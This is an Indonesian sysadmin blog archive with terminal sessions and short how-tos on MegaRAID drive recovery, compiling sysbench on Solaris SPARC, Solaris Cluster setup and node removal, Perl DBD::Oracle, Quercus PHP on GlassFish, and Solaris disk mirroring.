Delicious

Archives

Categories

Archive for 'Kerjaan' Category





« »
# /opt/MegaRaid/LSI/MegaCli  -LDInfo -Lall -aALL
Adapter 0 -- Virtual Drive Information:
Virtual Drive: 0 (Target Id: 0)
Name                :
RAID Level          : Primary-1, Secondary-0, RAID Level Qualifier-0
Size                : 278.464 GB
Sector Size         : 512
Mirror Data         : 278.464 GB
State               : Degraded
Strip Size          : 64 KB
Number Of Drives    : 2
Span Depth          : 1
Default Cache Policy: WriteBack, ReadAheadNone, Cached, No Write Cache if Bad BBU
Current Cache Policy: WriteBack, ReadAheadNone, Cached, No Write Cache if Bad BBU
Default Access Policy: Read/Write
Current Access Policy: Read/Write
Disk Cache Policy   : Disk's Default
Encryption Type     : None
Is VD Cached: Yes
Cache Cade Type : Read Only
Exit Code: 0x00

 

# /opt/MegaRaid/LSI/MegaCli  -PDList -aALL
Adapter #0
Enclosure Device ID: 252
Slot Number: 0
Enclosure position: N/A
Device Id: 9
WWN: 5000CCA01600163F
Sequence Number: 6
Media Error Count: 0
Other Error Count: 0
Predictive Failure Count: 0
Last Predictive Failure Event Seq Number: 0
PD Type: SAS
 
Raw Size: 279.396 GB [0x22ecb25c Sectors]
Non Coerced Size: 278.896 GB [0x22dcb25c Sectors]
Coerced Size: 278.464 GB [0x22cee000 Sectors]
Sector Size:  0
Firmware state: Unconfigured(bad)
Device Firmware Level: A31A
Shield Counter: 0
Successful diagnostics completion on :  N/A
SAS Address(0): 0x5000cca01600163d
SAS Address(1): 0x0
Connected Port Number: 1(path0) 
Inquiry Data: HITACHI H109030SESUN300GA31A1335C01GXN          
FDE Capable: Not Capable
FDE Enable: Disable
Secured: Unsecured
Locked: Unlocked
Needs EKM Attention: No
Foreign State: Foreign 
Foreign Secure: Drive is not secured by a foreign lock key
Device Speed: 6.0Gb/s 
Link Speed: 6.0Gb/s 
Media Type: Hard Disk Device
Drive:  Not Certified
Drive Temperature :25C (77.00 F)
PI Eligibility:  No 
Drive is formatted for PI information:  No
PI: No PI
Port-0 :
Port status: Active
Port's Linkspeed: 6.0Gb/s 
Port-1 :
Port status: Active
Port's Linkspeed: Unknown 
Drive has flagged a S.M.A.R.T alert : No
 
Enclosure Device ID: 252
Slot Number: 1
Drive's position: DiskGroup: 0, Span: 0, Arm: 1
Enclosure position: N/A
Device Id: 8
WWN: 5000CCA016002EBB
Sequence Number: 2
Media Error Count: 0
Other Error Count: 0
Predictive Failure Count: 0
Last Predictive Failure Event Seq Number: 0
PD Type: SAS
 
Raw Size: 279.396 GB [0x22ecb25c Sectors]
Non Coerced Size: 278.896 GB [0x22dcb25c Sectors]
Coerced Size: 278.464 GB [0x22cee000 Sectors]
Sector Size:  0
Firmware state: Online, Spun Up
Commissioned Spare : No
Emergency Spare : No
Device Firmware Level: A31A
Shield Counter: 0
Successful diagnostics completion on :  N/A
SAS Address(0): 0x5000cca016002eb9
SAS Address(1): 0x0
Connected Port Number: 0(path0) 
Inquiry Data: HITACHI H109030SESUN300GA31A1335C033GN          
FDE Capable: Not Capable
FDE Enable: Disable
Secured: Unsecured
Locked: Unlocked
Needs EKM Attention: No
Foreign State: None 
Device Speed: 6.0Gb/s 
Link Speed: 6.0Gb/s 
Media Type: Hard Disk Device
Drive:  Not Certified
Drive Temperature :26C (78.80 F)
PI Eligibility:  No 
Drive is formatted for PI information:  No
PI: No PI
Port-0 :
Port status: Active
Port's Linkspeed: 6.0Gb/s 
Port-1 :
Port status: Active
Port's Linkspeed: Unknown 
Drive has flagged a S.M.A.R.T alert : No
Exit Code: 0x00

 

# /opt/MegaRaid/LSI/MegaCli -PDMakeGood -physDrv [252:0] -a0                
Adapter: 0: EnclId-252 SlotId-0 state changed to Unconfigured-Good.
 
Exit Code: 0x00

 

# /opt/MegaRaid/LSI/MegaCli  -PDList -aALL                           
Adapter #0
 
Enclosure Device ID: 252
Slot Number: 0
Enclosure position: N/A
Device Id: 9
WWN: 5000CCA01600163F
Sequence Number: 7
Media Error Count: 0
Other Error Count: 0
Predictive Failure Count: 0
Last Predictive Failure Event Seq Number: 0
PD Type: SAS
 
Raw Size: 279.396 GB [0x22ecb25c Sectors]
Non Coerced Size: 278.896 GB [0x22dcb25c Sectors]
Coerced Size: 278.464 GB [0x22cee000 Sectors]
Sector Size:  0
Firmware state: Unconfigured(good), Spun Up
Device Firmware Level: A31A
Shield Counter: 0
Successful diagnostics completion on :  N/A
SAS Address(0): 0x5000cca01600163d
SAS Address(1): 0x0
Connected Port Number: 1(path0) 
Inquiry Data: HITACHI H109030SESUN300GA31A1335C01GXN          
FDE Capable: Not Capable
FDE Enable: Disable
Secured: Unsecured
Locked: Unlocked
Needs EKM Attention: No
Foreign State: Foreign 
Foreign Secure: Drive is not secured by a foreign lock key
Device Speed: 6.0Gb/s 
Link Speed: 6.0Gb/s 
Media Type: Hard Disk Device
Drive:  Not Certified
Drive Temperature :26C (78.80 F)
PI Eligibility:  No 
Drive is formatted for PI information:  No
PI: No PI
Port-0 :
Port status: Active
Port's Linkspeed: 6.0Gb/s 
Port-1 :
Port status: Active
Port's Linkspeed: Unknown 
Drive has flagged a S.M.A.R.T alert : No
 
Enclosure Device ID: 252
Slot Number: 1
Drive's position: DiskGroup: 0, Span: 0, Arm: 1
Enclosure position: N/A
Device Id: 8
WWN: 5000CCA016002EBB
Sequence Number: 2
Media Error Count: 0
Other Error Count: 0
Predictive Failure Count: 0
Last Predictive Failure Event Seq Number: 0
PD Type: SAS
 
Raw Size: 279.396 GB [0x22ecb25c Sectors]
Non Coerced Size: 278.896 GB [0x22dcb25c Sectors]
Coerced Size: 278.464 GB [0x22cee000 Sectors]
Sector Size:  0
Firmware state: Online, Spun Up
Commissioned Spare : No
Emergency Spare : No
Device Firmware Level: A31A
Shield Counter: 0
Successful diagnostics completion on :  N/A
SAS Address(0): 0x5000cca016002eb9
SAS Address(1): 0x0
Connected Port Number: 0(path0) 
Inquiry Data: HITACHI H109030SESUN300GA31A1335C033GN          
FDE Capable: Not Capable
FDE Enable: Disable
Secured: Unsecured
Locked: Unlocked
Needs EKM Attention: No
Foreign State: None 
Device Speed: 6.0Gb/s 
Link Speed: 6.0Gb/s 
Media Type: Hard Disk Device
Drive:  Not Certified
Drive Temperature :26C (78.80 F)
PI Eligibility:  No 
Drive is formatted for PI information:  No
PI: No PI
Port-0 :
Port status: Active
Port's Linkspeed: 6.0Gb/s 
Port-1 :
Port status: Active
Port's Linkspeed: Unknown 
Drive has flagged a S.M.A.R.T alert : No
Exit Code: 0x00

 

# /opt/MegaRaid/LSI/MegaCli -PDReplaceMissing -physDrv [252:0] -a0

 

# /opt/MegaRaid/LSI/MegaCli -PDOnline -physDrv [252:0] -a0
 
EnclId-252 SlotId-0 state changed to OnLine.
 
Exit Code: 0x00

 

# /opt/MegaRaid/LSI/MegaCli  -PDList -aALL
 
Adapter #0
 
Enclosure Device ID: 252
Slot Number: 0
Drive's position: DiskGroup: 0, Span: 0, Arm: 0
Enclosure position: N/A
Device Id: 9
WWN: 5000CCA01600163F
Sequence Number: 9
Media Error Count: 0
Other Error Count: 0
Predictive Failure Count: 0
Last Predictive Failure Event Seq Number: 0
PD Type: SAS
 
Raw Size: 279.396 GB [0x22ecb25c Sectors]
Non Coerced Size: 278.896 GB [0x22dcb25c Sectors]
Coerced Size: 278.464 GB [0x22cee000 Sectors]
Sector Size:  0
Firmware state: Online, Spun Up
Commissioned Spare : No
Emergency Spare : No
Device Firmware Level: A31A
Shield Counter: 0
Successful diagnostics completion on :  N/A
SAS Address(0): 0x5000cca01600163d
SAS Address(1): 0x0
Connected Port Number: 1(path0) 
Inquiry Data: HITACHI H109030SESUN300GA31A1335C01GXN          
FDE Capable: Not Capable
FDE Enable: Disable
Secured: Unsecured
Locked: Unlocked
Needs EKM Attention: No
Foreign State: None 
Device Speed: 6.0Gb/s 
Link Speed: 6.0Gb/s 
Media Type: Hard Disk Device
Drive:  Not Certified
Drive Temperature :27C (80.60 F)
PI Eligibility:  No 
Drive is formatted for PI information:  No
PI: No PI
Port-0 :
Port status: Active
Port's Linkspeed: 6.0Gb/s 
Port-1 :
Port status: Active
Port's Linkspeed: Unknown 
Drive has flagged a S.M.A.R.T alert : No
 
 
 
Enclosure Device ID: 252
Slot Number: 1
Drive's position: DiskGroup: 0, Span: 0, Arm: 1
Enclosure position: N/A
Device Id: 8
WWN: 5000CCA016002EBB
Sequence Number: 2
Media Error Count: 0
Other Error Count: 0
Predictive Failure Count: 0
Last Predictive Failure Event Seq Number: 0
PD Type: SAS
 
Raw Size: 279.396 GB [0x22ecb25c Sectors]
Non Coerced Size: 278.896 GB [0x22dcb25c Sectors]
Coerced Size: 278.464 GB [0x22cee000 Sectors]
Sector Size:  0
Firmware state: Online, Spun Up
Commissioned Spare : No
Emergency Spare : No
Device Firmware Level: A31A
Shield Counter: 0
Successful diagnostics completion on :  N/A
SAS Address(0): 0x5000cca016002eb9
SAS Address(1): 0x0
Connected Port Number: 0(path0) 
Inquiry Data: HITACHI H109030SESUN300GA31A1335C033GN          
FDE Capable: Not Capable
FDE Enable: Disable
Secured: Unsecured
Locked: Unlocked
Needs EKM Attention: No
Foreign State: None 
Device Speed: 6.0Gb/s 
Link Speed: 6.0Gb/s 
Media Type: Hard Disk Device
Drive:  Not Certified
Drive Temperature :25C (77.00 F)
PI Eligibility:  No 
Drive is formatted for PI information:  No
PI: No PI
Port-0 :
Port status: Active
Port's Linkspeed: 6.0Gb/s 
Port-1 :
Port status: Active
Port's Linkspeed: Unknown 
Drive has flagged a S.M.A.R.T alert : No


Compiling sysbench @ Solaris-10 SPARC

  ozzie / 05/10/2013

sedikit dokumentasi dari kebanyakan yg gagal install SYSBENCH di Solaris khususnya pada architecture SPARC :D

dengan menu dasar:

 
1. make sure solaris studio sudah siap

# export PATH=$PATH:/opt/solarisstudio/bin

 
2. extract, build & install m4

# cd m4-1.4.17/
# ./configure --prefix=/opt/app
checking for a BSD-compatible install... build-aux/install-sh -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... build-aux/install-sh -c -d
..
..
# make
# make install

 
3. update path binary executable

# export PATH=$PATH:/opt/app/bin

 
4. extract, build & install autoconf

# cd autoconf-2.69/
# ./configure --prefix=/opt/app
checking for a BSD-compatible install... build-aux/install-sh -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... build-aux/install-sh -c -d
..
..
# make
# make install

 
5. extract, build & install automake

# cd automake-1.14
# ./configure --prefix=/opt/app
checking whether make supports nested variables... yes
checking build system type... sparc-sun-solaris2.10
checking host system type... sparc-sun-solaris2.10
checking for a BSD-compatible install... lib/install-sh -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... lib/install-sh -c -d
..
..
# make
# make install

 
6. extract, build & install sysbench
edit file configure.ac

# cd sysbench-0.4.12
# vi configure.ac



edit menjadi AC_PROG_RANLIB

# Checks for programs.
AC_PROG_CC
AC_PROG_LIBTOOL



Menjadi

# Checks for programs.
AC_PROG_CC
AC_PROG_RANLIB


 

# ./configure  --prefix=/opt/sysbench CFLAGS=-m64
checking build system type... sparc-sun-solaris2.10
checking host system type... sparc-sun-solaris2.10
checking target system type... sparc-sun-solaris2.10
checking for a BSD-compatible install... config/install-sh -c
checking whether build environment is sane... yes
..
..
# make 
# make install

 
mari mem-Benchmark OLTP MySQL Enterprise. <:-p <:-p
bagaimana hasilnya?? :>



Make Work into Play – Make Play into Work

Jatiluhur Purwakarta – >>>



Removing a Node From a Resource Group
how to ngebuang node (monyet3) dari resource group aktif..

# clq show d1   
=== Quorum Devices ===                         
 
Quorum Device Name:                             d1
  Enabled:                                         yes
  Votes:                                           2
  Global Name:                                     /dev/did/rdsk/d1s2
  Type:                                            shared_disk
  Access Mode:                                     scsi3
  Hosts (enabled):                                 monyet3, monyet1, monyet2
 
=== Cluster Resource Groups ===
 
Group Name       Node Name       Suspended      State
----------       ---------       ---------      -----
MySQL-RG         monyet1         No             Offline
                 monyet2         No             Online
                 monyet3         No             Offline
 
 
# clrg status
=== Cluster Resources ===
 
Resource Name       Node Name      State        Status Message
-------------       ---------      -----        --------------
MySQL-RS            monyet1        Offline      Offline
                    monyet2        Online       Online - Service is online.
                    monyet3        Offline      Offline
 
MySQL-LH            monyet1        Offline      Offline - LogicalHostname offline.
                    monyet2        Online       Online - LogicalHostname online.
                    monyet3        Offline      Offline
 
MySQL-HAS           monyet1        Offline      Offline
                    monyet2        Online       Online
                    monyet3        Offline      Offline
 
 
#  scrgadm -pv -g MySQL-RG                   
Res Group name:                                    MySQL-RG
  (MySQL-RG) Res Group RG_description:             <NULL>
  (MySQL-RG) Res Group mode:                       Failover
  (MySQL-RG) Res Group management state:           Managed
  (MySQL-RG) Res Group RG_project_name:            default
  (MySQL-RG) Res Group RG_SLM_type:                manual
  (MySQL-RG) Res Group RG_affinities:              <NULL>
  (MySQL-RG) Res Group Auto_start_on_new_cluster:  True
  (MySQL-RG) Res Group Failback:                   False
  (MySQL-RG) Res Group Nodelist:                   monyet1 monyet2 monyet3
  (MySQL-RG) Res Group Maximum_primaries:          1
  (MySQL-RG) Res Group Desired_primaries:          1
  (MySQL-RG) Res Group RG_dependencies:            <NULL>
  (MySQL-RG) Res Group network dependencies:       True
  (MySQL-RG) Res Group Global_resources_used:      <All>
  (MySQL-RG) Res Group Pingpong_interval:          3600
  (MySQL-RG) Res Group Pathprefix:                 <NULL>
  (MySQL-RG) Res Group system:                     False
  (MySQL-RG) Res Group Suspend_automatic_recovery: False
 
#  scrgadm -pv -g MySQL-RG | grep -i nodelist
  (MySQL-RG) Res Group Nodelist:                   monyet1 monyet2 monyet3
 
# scrgadm -c -g MySQL-RG -h monyet1,monyet2
#  scrgadm -pv -g MySQL-RG | grep -i nodelist
  (MySQL-RG) Res Group Nodelist:                   monyet1 monyet2
 
# scrgadm -pvv -g MySQL-RG | grep -i netiflist
    (MySQL-RG:MySQL-LH) Res property name:         NetIfList
      (MySQL-RG:MySQL-LH:NetIfList) Res property class: extension
      (MySQL-RG:MySQL-LH:NetIfList) Res property description: List of IPMP groups on each node
    (MySQL-RG:MySQL-LH:NetIfList) Res property pernode: False
      (MySQL-RG:MySQL-LH:NetIfList) Res property type: stringarray
      (MySQL-RG:MySQL-LH:NetIfList) Res property value: sc_ipmp0@1 sc_ipmp0@2 sc_ipmp0@3
 
# scrgadm -c -j MySQL-LH  -x netiflist=sc_ipmp0@1,sc_ipmp0@2

dari node yang aktif:

# clnode evacuate monyet3

shutdown monyet3 dan booting non cluster mode

ok boot -x

bersambung….



Solaris Cluster

  ozzie / 21/06/2013


download Oracle Solaris Cluster 4.1. kali ini base OS nya Solaris 11 dengan IPS

 

mount source repository dan refresh IPS publisher nya:

# mount -F hsfs /export/home/ozzie/osc-4_1-ga-repo-full.iso  /mnt/
# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
 
# pkg set-publisher -G "*" -g file:///mnt/repo ha-cluster
# pkg refresh
# pkg publisher
PUBLISHER                   TYPE     STATUS P LOCATION
ha-cluster                  origin   online F file:///mnt/repo/
solaris                     origin   online F http://pkg.oracle.com/solaris/release/
 
# pkg install ha-cluster-framework-full
           Packages to install:  26
       Create boot environment:  No
Create backup boot environment: Yes
            Services to change:   6
 
DOWNLOAD                                PKGS         FILES    XFER (MB)   SPEED
Completed                              26/26     2794/2794    27.5/27.5    0B/s
 
PHASE                                          ITEMS
Installing new actions                     3936/3936
Updating package state database                 Done 
Updating image state                            Done 
Creating fast lookup database                   Done

Create cluster /usr/cluster/bin/scinstall

 
  *** Main Menu ***
 
    Please select from one of the following (*) options:
 
      * 1) Create a new cluster or add a cluster node
        2) Upgrade this cluster node
        3) Manage a dual-partition upgrade
      * 4) Print release information for this cluster node
 
      * ?) Help with menu options
      * q) Quit
 
    Option:  1
 
 
  *** New Cluster and Cluster Node Menu ***
 
    Please select from any one of the following options:
 
        1) Create a new cluster
        2) Create just the first node of a new cluster on this machine
        3) Add this machine as a node in an existing cluster
 
        ?) Help with menu options
        q) Return to the Main Menu
 
    Option:

  >>> Cluster Name <<<
 
    Each cluster has a name assigned to it. The name can be made up of any
    characters other than whitespace. Each cluster name should be unique 
    within the namespace of your enterprise.
 
    What is the name of the cluster you want to establish?  Kandang-Monyet
 
 
  >>> Check <<<
 
    This step allows you to run cluster check to verify that certain basic
    hardware and software pre-configuration requirements have been met. If
    cluster check detects potential problems with configuring this machine
    as a cluster node, a report of violated checks is prepared and 
    available for display on the screen.
 
    Do you want to run cluster check (yes/no) [yes]?  
 
 
 
  >>> Cluster Nodes <<<
 
    This Oracle Solaris Cluster release supports a total of up to 16 
    nodes.
 
    List the names of the other nodes planned for the initial cluster 
    configuration. List one node name per line. When finished, type 
    Control-D:
 
    Node name (Control-D to finish):  Monyet1
    Node name (Control-D to finish):  Monyet2
    Node name (Control-D to finish):  Monyet3
    Node name (Control-D to finish):  ^D
 
 
 
  >>> Cluster Transport Adapters and Cables <<<
 
    Transport adapters are the adapters that attach to the private cluster
    interconnect.
 
    Select the first cluster transport adapter:
 
        1) net0
        2) net2
        3) Other
 
    Option:  1
 
    Searching for any unexpected network traffic on "net0" ... done
Unexpected network traffic was seen on "net0".
"net0" may be cabled to a public network.
 
    Do you want to use "net0" anyway (yes/no) [no]?  yes
 
    Select the second cluster transport adapter:
 
        1) net0
        2) net2
        3) Other
 
    Option:  2
 
    Searching for any unexpected network traffic on "net2" ... done
Unexpected network traffic was seen on "net2".
"net2" may be cabled to a public network.
 
    Do you want to use "net2" anyway (yes/no) [no]?  
 
 
 
  >>> Confirmation <<<
 
    Your responses indicate the following options to scinstall:
 
      scinstall -i \ 
           -C kandang-monyet \ 
           -F \ 
           -G lofi \ 
           -T node=Monyet1,node=Monyet2,authtype=sys \ 
           -w netaddr=172.16.0.0,netmask=255.255.240.0,maxnodes=32,maxprivatenets=10,numvirtualclusters=12,numxipvirtualclusters=3 \ 
           -A trtype=dlpi,name=net0 -A trtype=dlpi,name=net2 \ 
           -B type=switch,name=switch1 -B type=switch,name=switch2 \ 
           -m endpoint=:net0,endpoint=switch1 \ 
           -m endpoint=:net2,endpoint=switch2 \ 
           -P task=security,state=SECURE
 
    Are these the options you want to use (yes/no) [yes]?  
 
    Do you want to continue with this configuration step (yes/no) [yes]?  
 
 
Initializing cluster name to "kandang-monyet" ... done
Initializing authentication options ... done
Initializing configuration for adapter "net0" ... done
Initializing configuration for adapter "net2" ... done
Initializing configuration for switch "switch1" ... done
Initializing configuration for switch "switch2" ... done
Initializing configuration for cable ... done
Initializing configuration for cable ... done
Initializing private network address options ... done
 
 
Setting the node ID for "Monyet1" ... done (id=1)


PHP @ GlassFish

  ozzie / 26/02/2013

source: http://quercus.caucho.com/

running PHP script pada server ber-Oracle Glassfish

web.xml

<servlet>
   <servlet-name>Quercus</servlet-name>
   <servlet-class>com.caucho.quercus.servlet.QuercusServlet</servlet-class>
   <init-param>
      <param-name>ini-file</param-name>
      <param-value>WEB-INF/php.ini</param-value>
   </init-param>
</servlet>
 
<servlet-mapping>
   <servlet-name>Quercus</servlet-name>
       <url-pattern>*.php</url-pattern>
</servlet-mapping>


Adventure Bali-k lagi

  ozzie / 02/02/2013

Perl DBD::Oracle

  ozzie / 04/01/2013

Install PERL module DBD :: Oracle pada Oracle Solaris 10.. agar lebih nyaman Query data di Shell guna mengakses Oracle DataBase.. :D

untuk compiler pada solaris bisa download Oracle Solaris Studio..

mungkin dengan berbagai gaya install module PERL maupun CPAN di Solaris 10.. akan menghadapi berbagai error salah satu nya: ;))..

..... libclntsh.so: wrong ELF class: ELFCLASS64
ld: fatal: File processing errors. No output written to blib/arch/auto/DBD/Oracle/Oracle.so”

mungkin sedikit trik bertemunya arsitekture 64bit vs 32bit : #:-s

# export LD_LIBRARY_PATH=$ORACLE_HOME/lib32
# cd $ORACLE_HOME/perl/bin
# ./cpan  install YAML
# ./cpan  install DBD:: Oracle
....

setelah berhasil… selamat berpetualang… 8-}

Query via SQL Developer

Query via Perl Script


ref:
http://www.perl.com/pub/1999/10/DBI.html
http://search.cpan.org/dist/DBD-Oracle/lib/DBD/Oracle.pm



Oracle GlassFish – Oracle DB 11

  ozzie / 02/01/2013

Connecting Glassfish buat access Oracle DB via jdbc:
oracle.jdbc.pool.OracleDataSource



Solaris Mirroring OS

  ozzie / 27/12/2012

just reminder :">

Installing Solaris

install Solaris dengan sample hard-disk 40 GB, untuk layout & size partisi cuma contoh.


Slice 2 : JANGAN DI GANGGU GUGAT!! :)) :)) :)) (overlap)
(http://docs.oracle.com/cd/E19082-01/819-2723/disksconcepts-20068/index.html)
Slice 7 : sengaja di buat 128MB untuk alokasi metadb
http://docs.oracle.com/cd/E23824_01/html/821-1462/metadb-1m.html

Mirroring Disk Solaris

Berikut VTOC hard-disk 1 (c0t0d0)

# prtvtoc /dev/rdsk/c0t0d0s2
 /dev/rdsk/c0t0d0s2 partition map
 
 Dimensions:
     512 bytes/sector
      63 sectors/track
     255 tracks/cylinder
   16065 sectors/cylinder
    5220 cylinders
    5218 accessible cylinders
 
 Flags:
   1: unmountable
  10: read-only
 
 Unallocated space:
       First     Sector    Last
       Sector     Count    Sector 
           0  25189920  25189919
 
                          First     Sector    Last
 Partition  Tag  Flags    Sector     Count    Sector  Mount Directory
       0      2    00   25189920  16787925  41977844   /
       1      3    01   41977845   8401995  50379839
       2      5    00          0  83827170  83827169
       3      7    00      16065  25173855  25189919   /var
       4      0    00   50379840  16787925  67167764   /opt
       5      8    00   67167765  16386300  83554064   /export/home
       7      0    00   83554065    273105  83827169
       8      1    01          0     16065     16064

1. Initialize & labeling hard-disk 2

# format 
Searching for disks...done
AVAILABLE DISK SELECTIONS:
       0. c1t0d0 <DEFAULT cyl 5218 alt 2 hd 255 sec 63>
          /pci@0,0/pci1000,8000@14/sd@0,0
       1. c1t1d0 <DEFAULT cyl 5218 alt 2 hd 255 sec 63>
          /pci@0,0/pci1000,8000@14/sd@1,0
Specify disk (enter its number): 1
selecting c1t1d0
[disk formatted]

2. copy VTOC hard-disk 1 ke hard-disk 2

# prtvtoc /dev/rdsk/c1t0d0s2 | fmthard -s - /dev/rdsk/c1t1d0s2
fmthard:  New volume table of contents now in place.
#
# prtvtoc /dev/rdsk/c1t1d0s2 
 /dev/rdsk/c1t1d0s2 partition map
 
 Dimensions:
     512 bytes/sector
      63 sectors/track
     255 tracks/cylinder
   16065 sectors/cylinder
    5220 cylinders
    5218 accessible cylinders
 
 Flags:
   1: unmountable
  10: read-only
 
 Unallocated space:
       First     Sector    Last
       Sector     Count    Sector 
           0  25189920  25189919
 
                          First     Sector    Last
 Partition  Tag  Flags    Sector     Count    Sector  Mount Directory
       0      2    00   25189920  16787925  41977844
       1      3    01   41977845   8401995  50379839
       2      5    00          0  83827170  83827169
       3      7    00      16065  25173855  25189919
       4      0    00   50379840  16787925  67167764
       5      8    00   67167765  16386300  83554064
       7      0    00   83554065    273105  83827169
       8      1    01          0     16065     16064

3. create metadb pada hard-disk 1 & hard-disk 2 sesuai alokasi pada slice 7:

# metadb -afc 3  c1t0d0s7 c1t1d0s7

4. Initialisasi target disk mirrornya:
Slice 0

# metainit -f d11 1 1 c1t0d0s0 
d11: Concat/Stripe is setup
# metainit d12 1 1 c1t1d0s0 
d12: Concat/Stripe is setup
# metainit d10 -m  d11
d10: Mirror is setup
# metaroot d10

Slice 1:

# metainit -f d21 1 1 c1t0d0s1 
d21: Concat/Stripe is setup
# metainit  d22 1 1 c1t1d0s1 
d22: Concat/Stripe is setup
# metainit d20 -m  d21
d20: Mirror is setup

dan seterusnya sesuai Slice..


# metastat 
d50: Mirror
    Submirror 0: d51
      State: Okay         
    Pass: 1
    Read option: roundrobin (default)
    Write option: parallel (default)
    Size: 16386300 blocks (7.8 GB)
 
d51: Submirror of d50
    State: Okay         
    Size: 16386300 blocks (7.8 GB)
    Stripe 0:
        Device     Start Block  Dbase        State Reloc Hot Spare
        c1t0d0s5          0     No            Okay   Yes 
 
 
d40: Mirror
    Submirror 0: d41
      State: Okay         
    Pass: 1
    Read option: roundrobin (default)
    Write option: parallel (default)
    Size: 16787925 blocks (8.0 GB)
 
d41: Submirror of d40
    State: Okay         
    Size: 16787925 blocks (8.0 GB)
    Stripe 0:
        Device     Start Block  Dbase        State Reloc Hot Spare
        c1t0d0s4          0     No            Okay   Yes 
 
 
d30: Mirror
    Submirror 0: d31
      State: Okay         
    Pass: 1
    Read option: roundrobin (default)
    Write option: parallel (default)
    Size: 25173855 blocks (12 GB)
 
d31: Submirror of d30
    State: Okay         
    Size: 25173855 blocks (12 GB)
    Stripe 0:
        Device     Start Block  Dbase        State Reloc Hot Spare
        c1t0d0s3          0     No            Okay   Yes 
 
 
d20: Mirror
    Submirror 0: d21
      State: Okay         
    Pass: 1
    Read option: roundrobin (default)
    Write option: parallel (default)
    Size: 8401995 blocks (4.0 GB)
 
d21: Submirror of d20
    State: Okay         
    Size: 8401995 blocks (4.0 GB)
    Stripe 0:
        Device     Start Block  Dbase        State Reloc Hot Spare
        c1t0d0s1          0     No            Okay   Yes 
 
 
d10: Mirror
    Submirror 0: d11
      State: Okay         
    Pass: 1
    Read option: roundrobin (default)
    Write option: parallel (default)
    Size: 16787925 blocks (8.0 GB)
 
d11: Submirror of d10
    State: Okay         
    Size: 16787925 blocks (8.0 GB)
    Stripe 0:
        Device     Start Block  Dbase        State Reloc Hot Spare
        c1t0d0s0          0     No            Okay   Yes 
 
 
d52: Concat/Stripe
    Size: 16386300 blocks (7.8 GB)
    Stripe 0:
        Device     Start Block  Dbase   Reloc
        c1t1d0s5          0     No      Yes
 
d42: Concat/Stripe
    Size: 16787925 blocks (8.0 GB)
    Stripe 0:
        Device     Start Block  Dbase   Reloc
        c1t1d0s4          0     No      Yes
 
d32: Concat/Stripe
    Size: 25173855 blocks (12 GB)
    Stripe 0:
        Device     Start Block  Dbase   Reloc
        c1t1d0s3          0     No      Yes
 
d22: Concat/Stripe
    Size: 8401995 blocks (4.0 GB)
    Stripe 0:
        Device     Start Block  Dbase   Reloc
        c1t1d0s1          0     No      Yes
 
d12: Concat/Stripe
    Size: 16787925 blocks (8.0 GB)
    Stripe 0:
        Device     Start Block  Dbase   Reloc
        c1t1d0s0          0     No      Yes
 
Device Relocation Information:
Device   Reloc  Device ID
c1t1d0   Yes    id1,sd@f0000000050dc37e500008fcb0001
c1t0d0   Yes    id1,sd@f0000000050dc37e5000077700000

5. Edit /etc/vfstab:

#device         device          mount           FS      fsck    mount   mount
#to mount       to fsck         point           type    pass    at boot options
#
/dev/dsk/c1t0d0s1       -       -       swap    -       no      -
/dev/md/dsk/d10 /dev/md/rdsk/d10        /       ufs     1       no      -
/dev/dsk/c1t0d0s3       /dev/rdsk/c1t0d0s3      /var    ufs     1       no      -
/dev/dsk/c1t0d0s5       /dev/rdsk/c1t0d0s5      /export/home    ufs     2       yes     -
/dev/dsk/c1t0d0s4       /dev/rdsk/c1t0d0s4      /opt    ufs     2       yes     -

Menjadi

/dev/md/dsk/d20              -       swap    -       no      -
/dev/md/dsk/d10 /dev/md/rdsk/d10        /       ufs     1       no      -
/dev/md/dsk/d30      /dev/md/rdsk/d30      /var    ufs     1       no      -
/dev/md/dsk/d50       /dev/md/rdsk/d50      /export/home    ufs     2       yes     -
/dev/md/dsk/d40       /dev/md/rdsk/d40      /opt    ufs     2       yes     -

6. Restart OS

# metastat -c
d40              m  8.0GB d41
    d41          s  8.0GB c1t0d0s4
d30              m   12GB d31
    d31          s   12GB c1t0d0s3
d20              m  4.0GB d21
    d21          s  4.0GB c1t0d0s1
d10              m  8.0GB d11
    d11          s  8.0GB c1t0d0s0
d50              m  7.8GB d51
    d51          s  7.8GB c1t0d0s5
d52              s  7.8GB c1t1d0s5
d42              s  8.0GB c1t1d0s4
d32              s   12GB c1t1d0s3
d22              s  4.0GB c1t1d0s1
d12              s  8.0GB c1t1d0s0

7. Attach disk.

# metattach d10 d12
d10: submirror d12 is attached
# metattach d20 d22
d20: submirror d22 is attached
# metattach d30 d32
d30: submirror d32 is attached
# metattach d40 d42
d40: submirror d42 is attached
# metattach d50 d52
d50: submirror d52 is attached
#
# metastat -c
d40              m  8.0GB d41 d42 (resync-0%)
    d41          s  8.0GB c1t0d0s4
    d42          s  8.0GB c1t1d0s4
d30              m   12GB d31 d32 (resync-0%)
    d31          s   12GB c1t0d0s3
    d32          s   12GB c1t1d0s3
d20              m  4.0GB d21 d22 (resync-2%)
    d21          s  4.0GB c1t0d0s1
    d22          s  4.0GB c1t1d0s1
d10              m  8.0GB d11 d12 (resync-2%)
    d11          s  8.0GB c1t0d0s0
    d12          s  8.0GB c1t1d0s0
d50              m  7.8GB d51 d52 (resync-0%)
    d51          s  7.8GB c1t0d0s5
    d52          s  7.8GB c1t1d0s5

lihat status Sync antar disk:

# metastat  | grep sync
      State: Resyncing    
    Resync in progress: 16 % done
    State: Resyncing    
      State: Resyncing    
    Resync in progress: 10 % done
    State: Resyncing    
      State: Resyncing    
    Resync in progress: 36 % done
    State: Resyncing    
      State: Resyncing    
    Resync in progress: 19 % done
    State: Resyncing    
      State: Resyncing    
    Resync in progress: 17 % done
    State: Resyncing

next: agar jika salah satu disk Failed dan booting dengan hard-disk backup: boot loader harus di install pula

# installgrub -m  /boot/grub/stage1 /boot/grub/stage2 /dev/rdsk/c1t1d0s0

Alternate Boot

ref:
- http://docs.oracle.com/cd/E19082-01/819-2723/disksconcepts-20068/index.html
- http://docs.oracle.com/cd/E23824_01/html/821-1462/metadb-1m.html



upgrade Oracle Linux 6.x

  ozzie / 27/12/2012
# cd /etc/yum.repos.d/
# wget http://public-yum.oracle.com/public-yum-ol6.repo
